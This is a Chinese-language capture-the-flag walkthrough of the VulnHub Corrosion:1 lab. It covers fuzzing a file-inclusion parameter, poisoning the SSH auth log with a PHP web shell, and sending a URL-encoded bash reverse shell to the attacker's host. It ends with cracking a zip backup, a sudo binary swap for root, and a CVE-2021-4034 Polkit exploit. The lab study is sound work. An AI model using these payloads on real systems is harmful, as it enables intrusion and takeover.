注:因为重启过,所以IP可能不一样。不是一次做完的。
靶机:
攻击机:
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
信息收集:
nmap 192.168.1.1/24
由于这个靶机没有给出ip地址,这里需要自己扫描,这里根据他开放的22和80端口判断,192.168.1.102这台机是靶机。因为我这就这么几台电脑。
继续扫描
nmap -sS -sV -A -p- 192.168.1.102
基本上就这么点信息了。访问一下80端口。
平平无奇Apache,扫一下目录。
一一打开一下,
这里看到了提示,说是更改认证日志的权限,更改22端口为7672,设置管理员为phpMyAdmin。
其他几个没啥收获,继续从提示页开始往下走,这里按大佬的说法就是存在认证日志的文件包含,要fuzz一下具体的参数,
ffuf -u 'http://192.168.1.102/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -fs 0
直接fuff。
fuff出来了这个。
http://192.168.1.102/blog-post/archives/randylogs.php?file=/var/log/auth.log
再测试一下登陆失败会不会记录进去。
看到记录了成功了,然后尝试写入一句话木马。
ssh '<?php system($_REQUEST['cmd']);?>'@192.168.1.117
view-source:http://192.168.1.117/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ifconfig
再进行测试,看到可以成功进行命令执行,接下来就nc进行连接就行了。
再然后,大家就懂了,菜刀啊,冰蝎啊,冲就完事了,这里我就不切系统了,直接弹到nc里吧,
开启监听:nc -lvvp 4444
bash -c 'bash -i >& /dev/tcp/192.168.1.113/4444 0>&1'
这是我要弹的语句,这里直接弹是没反应的,要先进行url编码。
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.113%2F4444%200%3E%261%27
view-source:http://192.168.1.117/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.113%2F4444%200%3E%261%27
弹成功,开始提权。
先随便翻翻,
看到了backups
看到了用户的备份,
直接解压是没啥作用的,看来是没有这个命令
测试了一下,好像是有python3的,直接python搭建http服务,进行下载。也可以用nc。
python3 -m http.server 8888
需要密码,爆破一下,
这里用的fcrackzip,
安装的话:apt-get install fcrackzip
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt /home/kali/vulnhub/Corrosion:1/user_backup.zip
拿到密码,解压一下。
看到了密码本,登陆randy
查看一下信息,
看到了这个。去看看。
看看这个py文件。
试试能不能改一下这个py文件来提权,
没啥利用,
写入提权文件,这里的py没法改了,但是又得用同名的,就写入c代码。 这里不能用vim,就用nano。
gcc编译一下。
gcc easysysinfo.c -o easysysinfo
再sodu 运行一下。发现成功提权到root用户。
拿到flag。
解法二:这里提权还有一种做法,是利用cat提权。但我给/bin/bash赋权的时候一直赋不了s权限,后续再研究下。
解法三:
大家还记得之前公布的linux Polkit权限提升漏洞CVE-2021-4034吧,这里,的话,咱们这个靶机是2021年的,盲猜肯定存在这个漏洞。所以直接把exp复制粘贴进去。
randy@corrosion:~/tools$ nano polkit.c
randy@corrosion:~/tools$ gcc polkit.c -o polkit
randy@corrosion:~/tools$ ./polkit
完成提权,这里exp大家可以参考。
GitHub - signfind/CVE-2021-4034: CVE-2021-4034